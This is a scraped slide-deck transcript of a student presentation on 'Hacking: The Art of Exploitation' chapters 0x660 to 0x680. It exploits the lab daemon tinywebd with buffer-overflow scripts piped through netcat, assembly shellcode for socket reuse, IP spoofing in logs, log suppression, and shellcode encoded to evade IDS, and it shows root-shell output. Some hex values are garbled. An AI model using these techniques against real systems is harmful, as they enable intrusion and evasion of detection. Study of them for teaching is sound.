Presentation is loading. Please wait.

Presentation is loading. Please wait.

Hacking: The Art of Exploitation

Similar presentations


Presentation on theme: "Hacking: The Art of Exploitation"— Presentation transcript:

1 Hacking: The Art of Exploitation
0x x680 Presenter: Jaesang Oh

2 Contents 0x660: Advanced Camouflage 0x670: The Whole Infrastructure
0x680: Payload Smuggling

3 0x660: Advanced Camouflage
In previous topic, we discuss how to hide exploit attempt written in a log file Example: Blend in with the Crowd But IP address of attacker still written in a log file $ sudo cat tinywebd.log  12/11/ :43:27> Starting up.. 12/11/ :43:41> From :36059 "GET / HTTP/1.1"       200 OK 12/11/ :43:41> From :36060 "GET /image.jpg HTTP/1.1"      200 OK 12/11/ :43:41> From :36061 "GET /favicon.ico HTTP/1.1"    404 Not Found $ 

4 How to know the IP address
In tinywebd.c, void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) {    unsigned char *ptr, request[500], resource[500], log_buffer[500];    int fd, length;    length = recv_line(sockfd, request);    sprintf(log_buffer, "From %s:%d \"%s\"\t", inet_ntoa(client_addr_ptr->sin_addr), ntohs(client_addr_ptr ->sin_port), request); Sockaddr_in struct contains the IP address and port number Spoof IP address by overwriting client_addr_ptr

5 Value of client_addr_ptr
Executing addr_struct.c , int main(int argc, char *argv[]) {    struct sockaddr_in addr;    if(argc != 3) {       printf("Usage: %s <target IP> <target port>\n", argv[0]);       exit(0);    }    addr.sin_family = AF_INET;    addr.sin_port = htons(atoi(argv[2]));    addr.sin_addr.s_addr = inet_addr(argv[1]);    write(1, &addr, sizeof(struct sockaddr_in));    printf ("\n\nSizeof sockaddr_in: %d\n\n", sizeof(struct sockaddr_in)); } We can get $ ./addr_struct  #�    "8N�o Sizeof sockaddr_in: 16 $ ./addr_struct | hexdump -C   c e   f4 6f fd b7  |..#.."8N.....o..|  0a 0a a 65 6f 66   f 63 6b  |..Sizeof sockadd|  72 5f 69 6e 3a  0a 0a                    |r_in: 16..| a $ 

6 Exploit Code request buffer location == 0xbffff520
RET location == 0xbffff73c Offset == 540 bytes (gdb) x/x request 0xbffff520:     0x (gdb) x/16x request xbffff714:     0xb7fd6ff4      0xb8000ce0      0x      0xbffff7a8 0xbffff724:     0xb7ff9300      0xb7fd6ff4      0xbffff7a8      0xb7fd6ff4 0xbffff734:     0xb7fd6ff4      0xbffff7a8      0x08048fb7      0x xbffff744:     0xbffff770      0x      0xbffff798      0x (gdb) x/x 0xbffff xbffff73c:     0x08048fb7 (gdb) p 0xbffff73c - 0xbffff520 $1 = 540 (gdb) Exploit [ Fake Request ] [ NOP Sled ] [ Shellcode ] [ RET Addr * 32 ] == 544 bytes

7 Exploit code (xtool_tinywebd_spoof.sh)
[ Fake Request ] [ client_addr_ptr ] [ NOP Sled ] [ Shellcode ] [ RET Addr * 32 ] [ *client_addr_ptr ] == 552 bytes #!/bin/sh # IP spoofing stealth exploitation tool for tinywebd SPOOFIP=" " SPOOFPORT="9090“ …… RETADDR="\x84\xf5\xff\xbf" # at +100 bytes from 0xbffff5c0 – I have to modify hex value FAKEADDR="\x2f\xf5\xff\xbf" # +15 bytes from 0xbffff5c0 – I have to modify hex value ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE - $FR_SIZE - 16)) (perl -e "print \"$FAKEREQUEST\"";  ./addr_struct "$SPOOFIP" "$SPOOFPORT";  perl -e "print \"\x90\"x$ALIGNED_SLED_SIZE";  cat $1; perl -e "print \"$RETADDR\"x32 . \"$FAKEADDR\"x2 . \"\r\n\"") | nc -w 1 -v $2 80

8 Execution Result Failed (In my Lab Computer)
(gdb) x/x request 0xbffff580:     0x (gdb) cont Continuing. Breakpoint 1, handle_connection (sockfd=7, client_addr_ptr=0xbffff7d0,      logfd=3) at tinywebd.c:         length = recv_line(sockfd, request);  (gdb) cont Continuing. Breakpoint 1, handle_connection (sockfd=8, client_addr_ptr=0xbffff7d0,      logfd=3) at tinywebd.c:         length = recv_line(sockfd, request);  (gdb) bt #0  handle_connection (sockfd=8, client_addr_ptr=0xbffff7d0, logfd=3)     at tinywebd.c:86 #1  0x08048fb7 in main () at tinywebd.c:72 (gdb) print *client_addr_ptr $1 = {sin_family = 2, sin_port = 60134, sin_addr = {s_addr = },    sin_zero = "\000\000\000\000\000\000\000"} (gdb) cont Continuing. Program received signal SIGSEGV, Segmentation fault. 0x08048fe1 in handle_connection (sockfd= ,      client_addr_ptr=0xf5e4bfff, logfd= ) at tinywebd.c:         sprintf(log_buffer, "From %s:%d \"%s\"\t", inet_ntoa(client_addr_ptr->sin_addr), ntohs(client_addr_ptr->sin_port), request);  (gdb)

9 Execution Result Success (In my Macbook)
Breakpoint 1, handle_connection (sockfd=6, client_addr_ptr=0xbffff7d0, logfd=3)     at tinywebd.c:         length = recv_line(sockfd, request);  (gdb) b 89 Breakpoint 2 at 0x : file tinywebd.c, line 89. (gdb) print *client_addr_ptr $2 = {sin_family = 2, sin_port = 33438, sin_addr = {s_addr = },    sin_zero = "\000\000\000\000\000\000\000"} (gdb) cont Continuing. Breakpoint 2, handle_connection (sockfd= ,      client_addr_ptr=0xbffff58f, logfd=2560) at tinywebd.c:         ptr = strstr(request, " HTTP/"); // search for valid looking request  (gdb) print *client_addr_ptr $3 = {sin_family = 2, sin_port = 33315, sin_addr = {s_addr = },    sin_zero = "\000\000\000\000�o (gdb) x/s log_buffer 0xbffff180:      "From :9090 \"GET / HTTP/1.1\"\t“ I don’t know why it happens :(

10 Do not write Log In handle_connection function, In previous slide,
void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) {    unsigned char *ptr, request[500], resource[500], log_buffer[500];    int fd, length;    write(logfd, log_buffer, length); // write to the log  In previous slide, Breakpoint 1, handle_connection (sockfd=6, client_addr_ptr=0xbffff7d0, logfd=3)     at tinywebd.c:86 If logfd is not 3, it fails to write log $ sudo strace -p e trace=write Process 5200 attached - interrupt to quit write(2560, "12/11/ :24:49> ", 21) = -1 EBADF (Bad file descriptor) write(2560, "From :9090 \"GET / HTT"..., 47) = -1 EBADF (Bad file descriptor) write(3, "12/11/ :34:41> ", 21) = 21 write(3, "From :57891 \"GET / HTTP"..., 46) = 46

11 Exploit Code If we change the value of logfd, log will be w
[ Fake Request ] [ client_addr_ptr ] [ NOP Sled ] [ Shellcode ] [ RET Addr * 32 ] [ *client_addr_ptr ] [File Descriptor] == 553 bytes …… (perl -e "print \"$FAKEREQUEST\"";  ./addr_struct "$SPOOFIP" "$SPOOFPORT";  perl -e "print \"\x90\"x$ALIGNED_SLED_SIZE";  cat $1; perl -e "print \"$RETADDR\"x32 . \"$FAKEADDR\"x2 . \"\x01\x00\x00\x00\r\n\"") | nc -w 1 -v $2 80 File Descriptor value “1” Daemon does not print the result to Standard output(fd == 1) ( redirect output to /dev/null )

12 Execution Result (In my Mac)
$ ls -l /Hacked  -rw root root :59 /Hacked $ sudo rm /Hacked Password: $ ps aux | grep tinywebd root      5200  0.0  0.0   1636   464 ?        Ss   10:58   0:00 ./tinywebd jaesang   6440  0.0  0.1   2880   748 pts/0    R+   11:41   0:00 grep tinywebd $ ls -l /var/log/tinywebd.log  -rw root root :34 /var/log/tinywebd.log $ ./xtool_tinywebd_silent.sh mark_restore target IP: shellcode: mark_restore (53 bytes) fake request: "GET / HTTP/1.1\x00" (15 bytes) [Fake Request 15] [spoof IP 16] [NOP 332] [shellcode 53] [ret addr 128] [*fake_addr 8] localhost [ ] 80 (www) open $ ls -l /var/log/tinywebd.log  -rw root root :34 /var/log/tinywebd.log $ ls -l /Hacked  -rw root root :42 /Hacked $  Shellcode executed without writing log

13 0x670: The Whole Infrastructure
IDS and IPS detect exploit attempt by several ways Analyze abnormal log Check connection with other port, such as 31337 We can use same socket since we already open socket from the web request

14 Socket Reuse However, we corrupt socket descriptor when overflowing request buffer In previous Execution result, Breakpoint 1, handle_connection (sockfd=6, client_addr_ptr=0xbffff7d0, logfd=3)     at tinywebd.c:86 Breakpoint 2, handle_connection (sockfd= ,      client_addr_ptr=0xbffff58f, logfd=2560) at tinywebd.c:90 Since sockfd is passed-by-value to handle_connection(), original value of sockfd is remain in main()

15 Socket Reuse – tinywebd.c
In main() int new_sockfd, yes=1; ……    while(1) {   // Accept loop        sin_size = sizeof(struct sockaddr_in);       new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size);       if(new_sockfd == -1)          fatal("accepting connection");       handle_connection(new_sockfd, &client_addr, logfd);    } return 0; } void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) {    unsigned char *ptr, request[500], resource[500], log_buffer[500];    int fd, length;

16 Calculating the address of new_sockfd
Distance(Offset) from ESP Breakpoint 1, handle_connection (sockfd=16, client_addr_ptr=0xbffff7d0,      logfd=3) at tinywebd.c:         length = recv_line(sockfd, request);  (gdb) x/x &sockfd 0xbffff7a0:     0x (gdb) x/x &new_sockfd No symbol "new_sockfd" in current context. (gdb) bt #0  handle_connection (sockfd=16, client_addr_ptr=0xbffff7d0, logfd=3)     at tinywebd.c:86 #1  0x08048fb7 in main () at tinywebd.c:72 (gdb) select-frame 1 (gdb) x/x &new_sockfd 0xbffff7fc:     0x (gdb) i r esp esp            0xbffff7a0       0xbffff7a0 (gdb) p /x 0xbffff7fc - 0xbffff7a0 $1 = 0x5c (gdb)  0x5c is the distance of new_sockfd from ESP

17 Loopback shell improved (0x650)
socket_reuse_restore.s …… child_process:     ; re-use existing socket    lea edx, [esp+0x5c]  ; put the address of new_sockfd in edx    mov ebx, [edx]       ; put the value of new_sockfd in ebx    push BYTE 0x02    pop ecx          ; ecx starts at 2    xor eax, eax    xor edx, edx dup_loop:    mov BYTE al, 0x3F ; dup2  syscall #63    int 0x80          ; dup2(c, 0)    dec ecx           ; count down to 0     jns dup_loop      ; if the sign flag is not set, ecx is not negative Copy used socket descriptor (new_sockfd) to fd 0, 1, and 2

18 Execve in Socket_reuse_restore.s
Socket_reuse_restore.s cont ; execve(const char *filename, char *const argv [], char *const envp[])    mov BYTE al, 11   ; execve  syscall #11    push edx          ; push some nulls for string termination    push 0x68732f2f   ; push "//sh" to the stack    push 0x6e69622f   ; push "/bin" to the stack    mov ebx, esp      ; put the address of "/bin//sh" into ebx, via esp    push edx          ; push 32-bit null terminator to stack    mov edx, esp      ; this is an empty array for envp    push ebx          ; push string addr to stack above null terminator    mov ecx, esp      ; this is the argv array with string ptr    int 0x80          ; execve("/bin//sh", ["/bin//sh", NULL], [NULL]) For compare result in next topic

19 Exploit code (xtool_tinywebd_reuse.sh)
[ Fake Request ] [ client_addr_ptr ] [ NOP Sled ] [ Shellcode ] [ RET Addr * 32 ] [ *client_addr_ptr ] [File Descriptor] [ cat command ] …… (perl -e "print \"$FAKEREQUEST\"";  ./addr_struct "$SPOOFIP" "$SPOOFPORT";  perl -e "print \"\x90\"x$ALIGNED_SLED_SIZE";  cat $1; perl -e "print \"$RETADDR\"x32 . \"$FAKEADDR\"x2 . \"\x01\x00\x00\x00\r\n\""; cat -;) | nc -v $2 80

20 Execution Result (In my Mac)
$ ./xtool_tinywebd_reuse.sh socket_reuse_restore target IP: shellcode: socket_reuse_restore (62 bytes) fake request: "GET / HTTP/1.1\x00" (15 bytes) [Fake Request 15] [spoof IP 16] [NOP 323] [shellcode 62] [ret addr 128] [*fake_addr 8] localhost [ ] 80 (www) open whoami root pwd /home/jaesang/booksrc By using existing socket and netcat, we can use command as root privilege

21 0x680: Payload Smuggling IDS or IPS can also analyze the packet itself
For example, they can find shell code which contains the substring /bin or //sh (to make /bin/sh) socket_reuse_restore.s file $ hexdump -C socket_reuse_restore  6a cd c0 74  0a 8d 6c b7 8f  |j.X....t..l$hh..|  04 08 c3 8d c 8b  1a 6a c0 31 d2  |....T$\..j.Y1.1.|  b0 3f cd f9 b0  0b f 2f  |.?..Iy...Rh//shh|  2f e 89 e  e e1 cd 80        |/bin..R..S....| e We can bypass it by hiding this string

22 String Encoding Strategy: Simply add 5 to each byte in the string in hiding phase, and subtract 5 in the shell code $ echo "/bin/sh" | hexdump -C  2f e 2f a                           |/bin/sh.| <- 0a should be modified to 00 to indicate string $ gdb -q (gdb) print /x 0x0a68732f + 0x $1 = 0xf6d <- should be modified to 0x56d7834 (gdb) print /x 0x6e69622f + 0x $2 = 0x736e6734 (gdb) 

23 String Encoding In Shellcode
Other things are similar to previous shellcode. But this shellcode does not contain /bin or //sh itself encoded_socketreuserestore.s ; execve(const char *filename, char *const argv [], char *const envp[])    mov BYTE al, 11   ; execve  syscall #11    push 0x056d7834   ; push "/sh\x00" encoded +5 to the stack    push 0x736e6734   ; push "/bin" encoded +5 to the stack    mov ebx, esp      ; put the address of encoded "/bin/sh" into ebx ……    push BYTE 0x8     ; need to decode 8 bytes    pop edx decode_loop:    sub BYTE [ebx+edx], 0x5    dec edx    jns decode_loop

24 Execution Result (In my Mac)
$ hexdump -C encoded_sockreuserestore  6a cd c0 74  0a 8d 6c b7 8f  |j.X....t..l$hh..|  04 08 c3 8d c 8b  1a 6a c0 b0 3f  |....T$\..j.Y1..?|  cd f9 b0 0b 68   d e  |..Iy...h4xm.h4gn|  73 89 e3 6a 08 5a 80 2c   a 79 f9 31 d2 52  |s..j.Z.,..Jy.1.R|  89 e e1 cd 80                              |..S....| $ ./xtool_tinywebd_reuse.sh encoded_sockreuserestore target IP: shellcode: encoded_sockreuserestore (71 bytes) fake request: "GET / HTTP/1.1\x00" (15 bytes) [Fake Request 15] [spoof IP 16] [NOP 314] [shellcode 71] [ret addr 128] [*fake_addr 8] localhost [ ] 80 (www) open whoami root We can use shell without “/bin/sh” inside the shellcode

25 …?


Download ppt "Hacking: The Art of Exploitation"

Similar presentations


Ads by Google